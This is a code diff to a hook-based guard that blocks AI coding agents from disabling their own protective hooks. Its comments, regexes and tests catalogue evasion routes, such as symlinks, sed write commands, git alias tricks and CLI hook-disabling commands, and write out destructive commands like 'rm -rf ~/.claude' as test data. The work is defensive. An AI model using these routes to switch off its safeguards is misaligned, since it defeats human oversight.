expect(performance.now() - started).toBeLessThan(5000); + }, 60_000); +}); + describe("agent-settings-guard helpers", () => { it("matches settings files anchored at the end, and config directories exactly", () => { expect(isAgentSettingsPath("/h/.claude/settings.json")).toBe(true); @@ -403,7 +596,10 @@ describe("agent-settings-guard helpers", () => { expect(isAgentConfigDirPath("/h/.claude/")).toBe(true); expect(isAgentConfigDirPath("/h/.claude/skills")).toBe(false); expect(isAgentConfigDirPath("/h/.github")).toBe(false); - expect(isAgentConfigDirPath("/h/.github/hooks")).toBe(true); + // `.github/hooks/` is also where repositories keep GIT hooks: only its + // `*.json` files are Copilot's. + expect(isAgentConfigDirPath("/h/.github/hooks")).toBe(false); + expect(isAgentSettingsPath("/h/.github/hooks/failproofai.json")).toBe(true); }); it("reads file paths before patch text, and patch text only without them", () => { diff --git a/__tests__/hooks/state-guard.test.ts b/__tests__/hooks/state-guard.test.ts index 11a84cbfd..98142ce00 100644 --- a/__tests__/hooks/state-guard.test.ts +++ b/__tests__/hooks/state-guard.test.ts @@ -655,8 +655,9 @@ describe("block-failproofai-commands — the state guard", () => { // when the path is BUILT at run time the literal never appears, so there is // nothing to match. The real fix is action-gating on the resolved path, // which is not something a string check can do. + // (`~/.failproof$X` used to sit here too. A variable spliced INTO a path is + // now read as a wildcard, so that one is caught; see settings-guard.test.ts.) it("does not catch a path assembled at run time", async () => { - expect(await decide("X=ai; rm -rf ~/.failproof$X")).toBe("allow"); expect(await decide('echo ~/.failproofai > /tmp/t; rm -rf "$(cat /tmp/t)"')).toBe("allow"); expect(await decide("find ~ -inum 12345 -delete")).toBe("allow"); }); diff --git a/src/hooks/agent-settings-guard.ts b/src/hooks/agent-settings-guard.ts index 989e55eb2..4f1c87186 100644 --- a/src/hooks/agent-settings-guard.ts +++ b/src/hooks/agent-settings-guard.ts @@ -19,19 +19,20 @@ * content check cannot be finished. Claude Code skips a settings file that does * not parse or that holds one value its schema rejects, so an edit that leaves * the hooks in place and breaks a different key switches them off just as - * well; `env` in the same file reaches the hook process; a hook command - * repointed at `true` keeps its marker. The person at the keyboard, their + * well. The same files also hold commands Claude Code runs with no hook in front + * of them (`statusLine`, `apiKeyHelper`, new hooks of its own) and the `env` the + * hook process inherits (`NODE_OPTIONS`). The person at the keyboard, their * editor, `/permissions` and `failproofai policies --install` still write these * files: only the agent's own tool calls are refused. * - * Names here are long on purpose: the CLI ships as one scope-hoisted bundle, - * and a short top-level name that matches a local inside a builtin policy makes - * the bundler rename that local, which changes the source the audit cache keys - * on (see config-status.ts). + * Names here are long on purpose. The CLI ships as one scope-hoisted bundle, and + * a short top-level name that matches a local inside a builtin policy makes the + * bundler rename that local (config-status.ts explains why that matters: the + * audit cache in src/audit/cache.ts keys on each policy's source). */ import { realpathSync } from "node:fs"; import { homedir } from "node:os"; -import { basename, dirname, isAbsolute, join, resolve } from "node:path"; +import { basename, dirname, isAbsolute, join, normalize, relative, resolve } from "node:path"; /** * One shape per protected file, as the path's TAIL from the agent's config @@ -71,12 +72,12 @@ const AGENT_SETTINGS_FILE_SHAPES: readonly RegExp[] = [ * The directories that hold those files. Deleting or moving one removes the * file inside it, so `rm -rf ~/.claude` switches the hooks off as surely as * editing settings.json does. Only the agents' own directories: `.github` and - * `.config` hold far too much else to refuse every write to them. + * `.config` hold far too much else, and `.github/hooks/` is also where many + * repositories keep their GIT hooks, so only its `*.json` files are protected. */ const AGENT_CONFIG_DIR_SHAPES: readonly RegExp[] = [ /\.(?:claude|codex|cursor|factory|devin|opencode|gemini|pi|agents)/, /\.copilot(?:[\\/]hooks)?/, - /\.github[\\/]hooks/, /\.opencode[\\/]plugins/, /\.config[\\/](?:opencode(?:[\\/]plugins)?|devin|goose)/, /\.pi[\\/](?:agent(?:[\\/]extensions)?|extensions)/, @@ -105,13 +106,23 @@ const AGENT_SETTINGS_IN_TEXT_RE = new RegExp(`(?])`, "i", ); +/** + * An agent directory's name as a string literal in a program: + * `os.path.join(os.path.expanduser('~'), '.claude', 'settings.json')` and + * `path.join(os.homedir(), '.codex', 'hooks.json')` never spell the path. + * Only read inside programs handed to an interpreter, which are never on the + * guard's read list anyway. + */ +const AGENT_DIR_IN_PROGRAM_RE = + /['"`\\/](?:\.(?:claude|codex|cursor|copilot|opencode|pi|gemini|agents|factory|devin)|\.hermes(?:-[^'"`\\/\s]+)?|\.openclaw(?:-[^'"`\\/\s]+)?)['"`\\/]/i; + /** Whether `path` is an agent settings or hook-config file. Anchored at the end. */ export function isAgentSettingsPath(path: string): boolean { return AGENT_SETTINGS_FILE_RE.test(path); @@ -123,7 +134,7 @@ export function isAgentConfigDirPath(path: string): boolean { } /** `~`, `$HOME` and `${HOME}` as the shell would expand them. */ -function expandAgentSettingsHome(path: string): string { +export function expandAgentSettingsHome(path: string): string { const home = homedir(); if (path === "~" || path === "$HOME" || path === "${HOME}") return home; const match = /^(?:~|\$HOME|\$\{HOME\})[\\/](.*)$/.exec(path); @@ -131,14 +142,15 @@ function expandAgentSettingsHome(path: string): string { } /** - * A path as the tool would open it: home expanded and resolved against the - * session's cwd. A relative path with no cwd stays relative, which the anchored - * shapes still read (`.claude/settings.json` begins at the start of the string). + * A path as the tool would open it: home expanded, normalised (`a/./b` and + * `a//b` are `a/b` to the filesystem, never to a regex), and resolved against + * the session's cwd. A relative path with no cwd stays relative, which the + * anchored shapes still read (`.claude/settings.json` begins the string). */ function resolveAgentSettingsCandidate(path: string, cwd: string | undefined): string { const expanded = expandAgentSettingsHome(path); - if (isAbsolute(expanded) || !cwd) return expanded; - return resolve(cwd, expanded); + if (isAbsolute(expanded)) return resolve(expanded); + return cwd ? resolve(cwd, expanded) : normalize(expanded); } /** @@ -166,14 +178,7 @@ function realpathOfAgentSettingsCandidate(path: string): string { return path; } -/** - * Agent settings files under the home directory, as their home-relative paths. - * - * Their REAL paths are compared against a write's real path, which is what - * catches the dotfiles layout: `~/.claude/settings.json` symlinked to - * `~/dotfiles/claude/settings.json`, where the file the agent edits names no - * agent directory at all. - */ +/** Agent settings files under the home directory, relative to it. */ const HOME_AGENT_SETTINGS_FILES: readonly string[] = [ ".claude/settings.json", ".claude/settings.local.json", @@ -197,12 +202,33 @@ const HOME_AGENT_SETTINGS_FILES: readonly string[] = [ ".openclaw/openclaw.json", ]; -function homeAgentSettingsRealpaths(): Set { - const home = homedir(); +/** The agent directories under the home directory, relative to it. */ +const HOME_AGENT_CONFIG_DIRS: readonly string[] = [ + ".claude", ".codex", ".copilot", ".cursor", ".config/opencode", ".opencode", ".pi", ".gemini", + ".agents", ".config/goose", ".factory", ".config/devin", ".hermes", ".openclaw", +]; + +/** A project's agent settings files, relative to the project root. */ +const PROJECT_AGENT_SETTINGS_FILES: readonly string[] = [ + ".claude/settings.json", + ".claude/settings.local.json", + ".codex/hooks.json", + ".codex/config.toml", + ".cursor/hooks.json", + ".github/hooks/failproofai.json", + ".opencode/opencode.json", + ".pi/settings.json", + ".gemini/settings.json", + ".agents/hooks.json", + ".factory/hooks.json", + ".devin/config.json", +]; + +function realpathsOf(paths: readonly string[]): Set { const out = new Set(); - for (const relative of HOME_AGENT_SETTINGS_FILES) { + for (const path of paths) { try { - out.add(realpathSync(join(home, relative))); + out.add(realpathSync(path)); } catch { // Not on this machine. } @@ -210,6 +236,23 @@ function homeAgentSettingsRealpaths(): Set { return out; } +/** + * Where the settings this session's agent reads really are, after symlinks: + * the home directory's files (the dotfiles layout, `~/.claude/settings.json` + * linked into a repository of dotfiles), the project's files (a committed + * `.claude/settings.json` that links to `config/claude.json`), and the file the + * hook itself was loaded from. The file an agent edits there names no agent + * directory at all. + */ +function agentSettingsRealTargets(cwd: string | undefined, extraPaths: readonly string[]): Set { + const home = homedir(); + return realpathsOf([ + ...HOME_AGENT_SETTINGS_FILES.map((path) => join(home, path)), + ...(cwd ? PROJECT_AGENT_SETTINGS_FILES.map((path) => join(cwd, path)) : []), + ...extraPaths, + ]); +} + /** The string values of a tool input, a few levels deep (Codex wraps a patch in an array). */ function agentSettingsInputStrings(value: unknown, depth = 0, out: string[] = []): string[] { if (typeof value === "string") out.push(value); @@ -223,57 +266,69 @@ function agentSettingsInputStrings(value: unknown, depth = 0, out: string[] = [] /** * The files a patch touches: OpenAI's apply_patch envelope (`*** Update File:`, * `*** Add File:`, `*** Delete File:`, `*** Move to:`) and unified-diff headers. + * Leading whitespace is allowed on each, because Codex applies an indented + * marker too. */ export function agentPatchTargetPaths(patch: string): string[] { const out: string[] = []; - for (const [, path] of patch.matchAll(/^\*\*\* (?:Add File|Update File|Delete File|Move to): *(.+?) *$/gm)) { + for (const [, path] of patch.matchAll(/^[ \t]*\*\*\* (?:Add File|Update File|Delete File|Move to): *(.+?) *$/gm)) { out.push(path); } - for (const [, path] of patch.matchAll(/^(?:\+\+\+|---) (?:[ab][\\/])?([^\t\r\n]+?)(?:\t.*)? *$/gm)) { + for (const [, path] of patch.matchAll(/^[ \t]*(?:\+\+\+|---) (?:[ab][\\/])?([^\t\r\n]+?)(?:\t.*)? *$/gm)) { if (path !== "/dev/null") out.push(path); } return out; } +/** The keys a patch arrives under, across the CLIs that canonicalize apply_patch to Edit. */ +const AGENT_PATCH_CARRIER_KEYS: readonly string[] = ["patch", "patchText", "patch_text", "input", "command", "diff", "changes"]; + /** * Every path a file-writing tool call would write. * * `file_path` (Write, Edit, MultiEdit), `notebook_path` (NotebookEdit) and * `path` cover the canonical inputs. Codex, Copilot and OpenCode `apply_patch` - * canonicalize to `Edit` with NO path key at all, because the paths sit inside - * the patch text; for those, and only those, the input's strings are read as a - * patch. A Write whose CONTENT happens to be a diff names its own file_path. + * canonicalize to `Edit` with the paths inside the patch text, so the keys a + * patch travels under are read as patches as well, whether or not a path key is + * there too. `content`, `old_string` and `new_string` never are: a Write whose + * content happens to be a diff writes its own file_path. */ export function agentToolWritePaths(toolInput: Record | undefined): string[] { if (!toolInput) return []; const named = ["file_path", "notebook_path", "path"] .map((key) => toolInput[key]) .filter((value): value is string => typeof value === "string" && value.length > 0); - if (named.length > 0) return named; - return agentSettingsInputStrings(toolInput).flatMap((text) => agentPatchTargetPaths(text)); + const patched = AGENT_PATCH_CARRIER_KEYS.flatMap((key) => + agentSettingsInputStrings(toolInput[key]).flatMap((text) => agentPatchTargetPaths(text)), + ); + return [...named, ...patched]; } /** * The agent settings file a file-tool call would write, or null. * * Checked as written, then after symlinks: a path that leads into an agent - * directory through a link, and a file that IS the target of one of the home - * directory's settings symlinks, are the same file to the agent CLI. + * directory through a link, and a file that IS the target of one of the agent's + * settings links, are the same file to the agent CLI. `extraPaths` are settings + * files known for this session that no shape describes: the file the hook was + * loaded from when `CLAUDE_CONFIG_DIR` or `CODEX_HOME` moved it. */ export function agentSettingsWriteTarget( toolInput: Record | undefined, cwd: string | undefined, + extraPaths: readonly string[] = [], ): string | null { - let homeReals: Set | undefined; + const extras = new Set(extraPaths.map((path) => resolve(path))); + let realTargets: Set | undefined; for (const raw of agentToolWritePaths(toolInput)) { const lexical = resolveAgentSettingsCandidate(raw, cwd); - if (isAgentSettingsPath(lexical)) return lexical; + if (isAgentSettingsPath(lexical) || extras.has(lexical)) return lexical; // Relative and no cwd: nothing on disk to follow. if (!isAbsolute(lexical)) continue; const real = realpathOfAgentSettingsCandidate(lexical); - if (real !== lexical && isAgentSettingsPath(real)) return lexical; - homeReals ??= homeAgentSettingsRealpaths(); - if (homeReals.has(real)) return lexical; + if (real !== lexical && (isAgentSettingsPath(real) || extras.has(real))) return lexical; + realTargets ??= agentSettingsRealTargets(cwd, [...extras]); + if (realTargets.has(real)) return lexical; } return null; } @@ -283,27 +338,129 @@ function bareAgentSettingsWord(word: string): string { return word.replace(/^[(){}'"`;&|<>]+|[(){}'"`;&|<>]+$/g, ""); } +/** A path as a regex literal that must end where a shell word or a quoted string would. */ +function agentSettingsPathInTextRe(path: string, isDirectory: boolean): RegExp { + const escaped = path.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); + return new RegExp(`${escaped}${isDirectory ? "[\\\\/]?" : ""}(?=$|[\\s'"\`;&|()<>])`, "i"); +} + /** - * Whether shell text names an agent settings file or config directory. - * - * The text forms catch a path anywhere, quoted code included. Then each word on - * its own, resolved the way the shell would: `~` expanded, and a relative word - * against the session's cwd, so `sed -i … settings.json` from a shell that an - * earlier call left in `~/.claude` names the file even though the text never - * says where it is. + * A word as each form the shell may hand it over in: the word itself, and the + * value after `=` for `--output=`, `of=` and `FOO=`. + */ +function agentSettingsWordForms(raw: string): string[] { + const word = bareAgentSettingsWord(raw); + const eq = word.indexOf("="); + return eq > 0 ? [word, word.slice(eq + 1)] : [word]; +} + +/** + * Settings files and directories known for this session beyond the shapes: + * `extraPaths` with their directories, and the real locations behind the home + * directory's agent links (a dotfiles checkout). A shell command reaching any of + * them reaches the agent's settings. */ -export function shellTextNamesAgentSettings(text: string, cwd: string | undefined): boolean { - if (AGENT_SETTINGS_IN_TEXT_RE.test(text) || AGENT_CONFIG_DIR_IN_TEXT_RE.test(text)) return true; - for (const raw of text.split(/\s+/)) { - const word = bareAgentSettingsWord(raw); - if (!word || word.startsWith("-")) continue; - // A variable other than HOME is the walker's to follow (it tracks which - // ones hold an agent path); resolving `$D` as a file name would mean nothing. - if (word.includes("$") && !/^\$\{?HOME\}?(?:[\\/]|$)/.test(word)) continue; - const path = resolveAgentSettingsCandidate(word, cwd); - if (isAgentSettingsPath(path) || isAgentConfigDirPath(path)) return true; +function agentSettingsShellExtras(extraPaths: readonly string[]): { files: Set; dirs: Set } { + const files = new Set(); + const dirs = new Set(); + const home = homedir(); + for (const path of extraPaths) { + const absolute = resolve(path); + files.add(absolute); + dirs.add(dirname(absolute)); } - return false; + for (const relativePath of HOME_AGENT_SETTINGS_FILES) { + const lexical = join(home, relativePath); + try { + const real = realpathSync(lexical); + if (real !== lexical) files.add(real); + } catch { + // Not on this machine. + } + } + for (const relativePath of HOME_AGENT_CONFIG_DIRS) { + const lexical = join(home, relativePath); + try { + const real = realpathSync(lexical); + if (real !== lexical) dirs.add(real); + } catch { + // Not on this machine. + } + } + return { files, dirs }; +} + +/** A path under the home directory as `~/…` too, the way commands usually spell it. */ +function withAgentSettingsHomeForm(path: string): string[] { + const home = homedir(); + const rel = relative(home, path); + return rel && !rel.startsWith("..") && !isAbsolute(rel) ? [path, `~/${rel}`] : [path]; +} + +/** + * What a shell command can name for this session: the shapes, anywhere in its + * text; each word on its own, home expanded and normalised; and the session's + * extra files and directories. Relative words are left to the caller, which + * knows the directory a `cd` has moved the shell to. + */ +export function agentSettingsShellNamer(extraPaths: readonly string[]): (text: string) => boolean { + const extras = agentSettingsShellExtras(extraPaths); + const textForms = [ + ...[...extras.files].flatMap((path) => withAgentSettingsHomeForm(path).map((form) => agentSettingsPathInTextRe(form, false))), + ...[...extras.dirs].flatMap((path) => withAgentSettingsHomeForm(path).map((form) => agentSettingsPathInTextRe(form, true))), + ]; + return (text: string): boolean => { + if (AGENT_SETTINGS_IN_TEXT_RE.test(text) || AGENT_CONFIG_DIR_IN_TEXT_RE.test(text)) return true; + if (textForms.some((re) => re.test(text))) return true; + for (const raw of text.split(/\s+/)) { + for (const word of agentSettingsWordForms(raw)) { + if (!word || word.startsWith("-")) continue; + // A variable other than HOME is the caller's to follow (it tracks which + // ones hold an agent path); resolving `$D` as a file name means nothing. + if (word.includes("$") && !/^\$\{?HOME\}?(?:[\\/]|$)/.test(word)) continue; + const path = resolveAgentSettingsCandidate(word, undefined); + if (isAgentSettingsPath(path) || isAgentConfigDirPath(path)) return true; + if (isAbsolute(path) && (extras.files.has(path) || extras.dirs.has(path.replace(/[\\/]+$/, "")))) return true; + } + } + return false; + }; +} + +/** Whether a program handed to an interpreter builds an agent settings path. */ +export function programNamesAgentSettings(program: string): boolean { + return AGENT_DIR_IN_PROGRAM_RE.test(program); +} + +/** + * The directory a shell command runs in: Antigravity's `run_command` carries + * its own `Cwd` (canonicalized to `tool_input.cwd`), which wins over the + * session's; every other CLI runs in the session's cwd. + */ +export function agentSettingsShellCwd(toolInput: Record | undefined, sessionCwd: string | undefined): string | undefined { + const own = toolInput?.cwd; + if (typeof own !== "string" || own.length === 0) return sessionCwd; + return resolveAgentSettingsCandidate(own, sessionCwd); +} + +/** + * Commands of the agent CLIs themselves that turn hooks off for good, with no + * settings path in them: `codex features disable hooks` writes + * `[features] hooks = false` into config.toml (verified on Codex 0.160.0), and + * `pi remove ` takes it out of Pi's settings. Hermes' + * and OpenClaw's plugin commands are matched by their documented shape. A + * one-run override (`claude --settings`, `codex -c features.hooks=false`) + * starts a separate agent rather than changing this one's settings, and is + * not matched. + */ +const AGENT_CLI_HOOKS_OFF_RES: readonly RegExp[] = [ + /(?:^|[\s;&|(`])(?:\S*\/)?codex\s+(?:[^\n;&|]*\s)?features\s+disable\s+[^\n;&|]*\b(?:codex_)?hooks\b/i, + /(?:^|[\s;&|(`])(?:\S*\/)?pi\s+(?:remove|uninstall|rm)\s+[^\n;&|]*(?:failproofai|pi-extension)/i, + /(?:^|[\s;&|(`])(?:\S*\/)?(?:hermes|openclaw)\s+plugins?\s+(?:disable|remove|uninstall|rm|delete)\s+[^\n;&|]*failproofai/i, +]; + +export function agentCliSwitchesHooksOff(command: string): boolean { + return AGENT_CLI_HOOKS_OFF_RES.some((re) => re.test(command)); } /** @@ -314,7 +471,7 @@ const PROJECT_AGENT_SETTINGS_GLOB_PATHS: readonly string[] = [ ".claude", ".claude/settings.json", ".claude/settings.local.json", ".codex", ".codex/hooks.json", ".codex/config.toml", ".cursor", ".cursor/hooks.json", - ".github/hooks", ".github/hooks/failproofai.json", + ".github/hooks/failproofai.json", ".opencode", ".opencode/opencode.json", ".opencode/plugins/failproofai.mjs", ".pi", ".pi/settings.json", ".pi/extensions", ".gemini", ".gemini/settings.json", @@ -346,15 +503,15 @@ const HOME_AGENT_SETTINGS_GLOB_PATHS: readonly string[] = [ * top-level directory. Settings files sit one level down, so removing every * `.json` one directory deep in a repository compiled to a pattern that reaches * `.claude/settings.json` and no decoy at all. These are the ordinary files such - * a pattern also lands on — and the ordinary siblings of the agent directories - * that live inside a shared parent, so a sweep of `~/.config` or `.github` - * reads as the sweep it is. Agents' own directories get no siblings here: a - * glob over `~/.claude` IS aimed at the settings inside it. + * a pattern also lands on — and the ordinary siblings of agent files that live + * in a shared directory (`~/.config`, `.github`, git hooks in `.github/hooks`), + * so a sweep of one reads as the sweep it is. Agents' own directories get no + * siblings here: a glob over `~/.claude` IS aimed at the settings inside it. */ const AGENT_SETTINGS_GLOB_DECOY_PATHS: readonly string[] = [ "src/settings.json", "config/hooks.json", "app/config.toml", "deploy/config.yaml", "lib/plugins/index.mjs", "projects", "docs", - ".config/git", ".config/gh", ".config/nvim", ".github/workflows", + ".config/git", ".config/gh", ".config/nvim", ".github/workflows", ".github/hooks/pre-commit", ]; const AGENT_SETTINGS_HOME_SPELLINGS = ["~", "$HOME", "${HOME}", "/home/u", "/Users/u", "/root"] as const; @@ -368,10 +525,15 @@ function underEveryAgentSettingsHome(paths: readonly string[]): string[] { * The paths a glob has to be able to reach to count as aimed at agent settings. * * When the session already stands in an agent directory, the files directly in - * it are reachable by a bare `*.json`, so their names join the list. + * it are reachable by a bare `*.json`, so their names join the list, and so do + * the session's extra settings files and directories. */ -export function agentSettingsGlobCandidates(cwd: string | undefined): string[] { +export function agentSettingsGlobCandidates(cwd: string | undefined, extraPaths: readonly string[] = []): string[] { const candidates = [...PROJECT_AGENT_SETTINGS_GLOB_PATHS, ...underEveryAgentSettingsHome(HOME_AGENT_SETTINGS_GLOB_PATHS)]; + for (const path of extraPaths) { + const absolute = resolve(path); + candidates.push(...withAgentSettingsHomeForm(absolute), ...withAgentSettingsHomeForm(dirname(absolute))); + } if (cwd && isAgentConfigDirPath(cwd)) { const here = cwd.replaceAll("\\", "/").replace(/\/+$/, "").toLowerCase(); for (const path of [...PROJECT_AGENT_SETTINGS_GLOB_PATHS, ...HOME_AGENT_SETTINGS_GLOB_PATHS]) { @@ -386,7 +548,13 @@ export function agentSettingsGlobCandidates(cwd: string | undefined): string[] { return candidates; } -/** Decoys for those candidates, in the same spellings. */ -export function agentSettingsGlobDecoys(): string[] { - return [...AGENT_SETTINGS_GLOB_DECOY_PATHS, ...underEveryAgentSettingsHome(AGENT_SETTINGS_GLOB_DECOY_PATHS)]; +/** + * Decoys for those candidates, in the same spellings, on top of the shared + * `baseDecoys`. From inside an agent directory the bare-name decoys go: they + * are what keeps `rm -rf *` allowed in a project, and in `~/.claude` that + * command removes the settings. + */ +export function agentSettingsGlobDecoys(cwd: string | undefined, baseDecoys: readonly string[]): string[] { + const decoys = [...baseDecoys, ...AGENT_SETTINGS_GLOB_DECOY_PATHS, ...underEveryAgentSettingsHome(AGENT_SETTINGS_GLOB_DECOY_PATHS)]; + return cwd && isAgentConfigDirPath(cwd) ? decoys.filter((decoy) => decoy.includes("/")) : decoys; } diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index b4733649a..31f27c1d4 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -17,11 +17,13 @@ import { allow, deny, instruct } from "./policy-helpers"; import { normalizePolicyName, registerPolicy } from "./policy-registry"; import { hookLogWarn } from "./hook-logger"; import { + agentCliSwitchesHooksOff, agentSettingsGlobCandidates, agentSettingsGlobDecoys, + agentSettingsShellCwd, + agentSettingsShellNamer, agentSettingsWriteTarget, - isAgentSettingsPath, - shellTextNamesAgentSettings, + programNamesAgentSettings, } from "./agent-settings-guard"; /** @@ -55,16 +57,45 @@ function isAgentInternalPath(resolved: string): boolean { } /** - * Whether `resolved` is a settings or hook-config file for an agent CLI — any - * of the eleven integrations, listed with the reason each one counts in - * `agent-settings-guard.ts`. - * + * Whether `resolved` is a settings/hooks file for an agent CLI: + * • Claude Code: `.claude/settings.json`, `.claude/settings.local.json`, etc. + * • Codex: `.codex/hooks.json` + * • Copilot CLI: `.copilot/hooks/*.json`, `.github/hooks/*.json` + * • Cursor Agent: `.cursor/hooks.json` + * • OpenCode: `.opencode/opencode.{json,jsonc}`, + * `.opencode/plugins/*.{mjs,js,ts}`, + * `~/.config/opencode/{opencode.json,opencode.jsonc,config.json}`, + * `~/.config/opencode/plugins/*.{mjs,js,ts}` + * • Pi: `.pi/settings.json` (project) and `.pi/agent/settings.json` + * (user); also the Pi-managed extension dir + * `.pi/extensions/` / `.pi/agent/extensions/`. + * • Antigravity CLI (agy): reuses `~/.gemini/` — `~/.gemini/settings.json` + * and the customization-root hook config + * `~/.gemini/config/hooks.json`. * These must NEVER be edited by the agent itself — that would let it disable - * its own protections. `block-failproofai-commands` refuses writes to them - * (always on); `block-read-outside-cwd` refuses reads (opt-in). + * its own protections. `block-read-outside-cwd` refuses READS of this list; + * writes are refused by `block-failproofai-commands`, against the wider list + * in agent-settings-guard.ts that covers all eleven integrations. */ function isAgentSettingsFile(resolved: string): boolean { - return isAgentSettingsPath(resolved); + if (/[\\/]\.claude[\\/]settings(?:\.[^/\\]+)?\.json$/.test(resolved)) return true; + if (/[\\/]\.codex[\\/]hooks\.json$/.test(resolved)) return true; + if (/[\\/]\.copilot[\\/]hooks[\\/][^/\\]+\.json$/.test(resolved)) return true; + if (/[\\/]\.github[\\/]hooks[\\/][^/\\]+\.json$/.test(resolved)) return true; + if (/[\\/]\.cursor[\\/]hooks\.json$/.test(resolved)) return true; + // OpenCode: project config + plugins, user config + plugins, legacy config. + if (/[\\/]\.opencode[\\/]opencode\.jsonc?$/.test(resolved)) return true; + if (/[\\/]\.opencode[\\/]plugins[\\/][^/\\]+\.(?:mjs|js|ts)$/.test(resolved)) return true; + if (/[\\/]\.config[\\/]opencode[\\/]opencode\.jsonc?$/.test(resolved)) return true; + if (/[\\/]\.config[\\/]opencode[\\/]config\.json$/.test(resolved)) return true; + if (/[\\/]\.config[\\/]opencode[\\/]plugins[\\/][^/\\]+\.(?:mjs|js|ts)$/.test(resolved)) return true; + // Pi: settings + extensions dirs (project and user-scope variants). + if (/[\\/]\.pi[\\/](?:agent[\\/])?settings\.json$/.test(resolved)) return true; + if (/[\\/]\.pi[\\/](?:agent[\\/])?extensions[\\/]/.test(resolved)) return true; + // Antigravity (agy) reuses ~/.gemini/: settings.json + the customization-root hooks.json. + if (/[\\/]\.gemini[\\/]settings\.json$/.test(resolved)) return true; + if (/[\\/]\.gemini[\\/]config[\\/]hooks\.json$/.test(resolved)) return true; + return false; } // Back-compat aliases — kept for any caller that imports the old names. @@ -563,6 +594,11 @@ const OUTPUT_FLAG_COMMANDS: Record = { sort: ["-o", "--output"], tree: ["-o", "--output"], curl: ["-o", "--output", "--output-dir", "-D", "--dump-header", "--trace", "--trace-ascii"], + // `git log --output=` writes whatever `--format` says into it; `-o` is + // only an output for `archive` and `format-patch`, which the git branch checks. + git: ["--output", "--output-directory"], + // `gh release download -O `, `gh run download -D `. + gh: ["-O", "--output", "-D", "--dir"], }; /** @@ -600,15 +636,26 @@ const SAFE_EXEC_COMMANDS = new Set([ * * The second row moves or rewrites files too: `git mv .claude/settings.json x` * takes an agent's hooks away, `git -C ~/.claude pull` replaces them with - * whatever the remote holds, and `git config -f ` writes INI into any file - * it is pointed at. Like the first row, these only count when the command - * already names a protected path. + * whatever the remote holds, `git apply` writes whatever its patch says, and + * `git config -f ` writes INI into any file it is pointed at. Like the + * first row, these only count when the command already names a protected path. + * Subcommands that take a message (`merge`, `revert`, `cherry-pick`) are left + * out: their message is prose, and naming a path in it is not a write. */ const GIT_DESTRUCTIVE_SUBCOMMANDS = new Set([ "clean", "rm", "restore", "checkout", "reset", "stash", - "mv", "pull", "merge", "switch", "rebase", "cherry-pick", "revert", "am", "apply", "config", + "mv", "pull", "apply", "config", ]); +/** + * `git -c` settings that make git run a command: an alias beginning `!`, a + * pager, an editor, an ssh command, a filter or diff driver, a credential + * helper. `git -c alias.x='!rm -rf ~/.claude' x` is a deleter wearing a mention + * command's name. + */ +const GIT_CONFIG_RUNS_CODE_RE = + /^['"]?(?:alias\.[^=]+=\s*['"]?!|core\.(?:pager|editor|sshcommand|fsmonitor|hookspath|askpass)=|(?:diff|merge|filter)\.[^=]*\.(?:command|textconv|driver|clean|smudge|process)=|credential\.[^=]*helper=|sequence\.editor=)/i; + /** * `git`'s own options that swallow the token after them. * @@ -1046,6 +1093,12 @@ function globPrefixNamesTarget(token: string, target: ProtectedPathTarget): bool function substitutionBodies(command: string): string[] { const bodies: string[] = []; for (let i = 0; i < command.length; i++) { + // A backslash makes the next character literal in every quoting context: + // `\`` and `\$(` never start a substitution. + if (command[i] === "\\") { + i++; + continue; + } if (command[i] === "`") { const close = command.indexOf("`", i + 1); if (close === -1) break; @@ -1053,7 +1106,9 @@ function substitutionBodies(command: string): string[] { i = close; continue; } - if (command[i] !== "$" || command[i + 1] !== "(") continue; + // `$(…)`, and the process substitutions `>(…)` and `<(…)`, which run their + // body as a command just the same: `echo x > >(tee )`. + if (!((command[i] === "$" || command[i] === ">" || command[i] === "<") && command[i + 1] === "(")) continue; let depth = 1; let j = i + 2; for (; j < command.length && depth > 0; j++) { @@ -1144,6 +1199,7 @@ function simpleCommandDestroys( words: string[], namesState: (text: string) => boolean, target: ProtectedPathTarget, + rawSimple: string, ): boolean { if (words.length === 0) return false; const head = commandBasename(words[0]); @@ -1170,20 +1226,24 @@ function simpleCommandDestroys( // which needs no flag at all: `sed 's/a/b/w ' /etc/hosts` writes the // state without `-i` anywhere on the line. if (head === "sed") { - if (args.some((a) => a.startsWith("-i") || a.startsWith("--in-place"))) return true; - // `e` runs a shell command, as a command (`1e cp …`) or as the flag on `s` - // (`s/x/y/e`), so a sed that reads nothing at all can still write anything. - if (args.some((a) => /(?:^|[;{}/0-9$,!])[gpIiMm0-9]*e[gpIiMm0-9]*(?:$|[;}])/.test(a))) return true; - // The filename may ride in the same token (`'s/a/b/w'`) or in the - // next one, because a quoted script containing a space is two tokens by the - // time it gets here. `s/a/b/w` and a bare `w` both end in a `w` that - // follows a delimiter, which is what separates them from a word like `raw`. - // `W` writes too, and an address (`1w`, `$W`) can stand in front of either. - return args.some( - (a, i) => /(?:^|[;}/\s0-9$])[wW]$/.test(a) && namesState(args[i + 1] ?? ""), - ) || args.some((a) => - [...a.matchAll(/(?:^|[;}/\s0-9$])[wW]\s*(\S+)/g)].some(([, file]) => namesState(file)), - ); + // In place, alone or bundled: `-i`, `-i.bak`, `-Ei`, `-ni`, `--in-place`. + if (args.some((a) => /^-(?!-)[A-Za-z]*i/.test(a) || a.startsWith("--in-place"))) return true; + // Only the SCRIPT is read for `e`, `w` and `W`. Reading every word made a + // file operand under `/workspaces/…` or `/Users/Wei/…` look like a `w` + // command. A script read from a file (`-f`) cannot be checked at all. + const scripts = sedScripts(rawSimple); + if (scripts === null) return true; + for (const script of scripts) { + // `e` runs a shell command, as a command (`1e cp …`) or as the flag on + // `s` (`s/x/y/e`), so a sed that reads nothing can still write anything. + if (SED_RUNS_COMMAND_RE.test(script)) return true; + // `w`/`W` write the rest of the line's text as a file name, glued on + // (`s/a/b/w`) or after a space; an address can stand in front. + for (const [, file] of script.matchAll(SED_WRITE_FILE_RE)) { + if (namesState(file.trim())) return true; + } + } + return false; } // `yq -i` rewrites the file it reads, and reads JSON as readily as YAML. @@ -1202,9 +1262,16 @@ function simpleCommandDestroys( ((a === "-i" || a === "--include" || a === "@include") && /^inplace/.test(args[i + 1] ?? "")) || /^(?:-iinplace|--include=inplace)/.test(a), ); - return inplace || args.some((a) => /system\s*\(|\|\s*["']|\|&/.test(a)); + if (inplace || args.some((a) => /system\s*\(|\|\s*["']|\|&/.test(a))) return true; + // `print > ARGV[1]` writes a file the program names only at run time, so + // the redirect scan finds nothing to read. A program that prints AND holds + // a `>` is treated 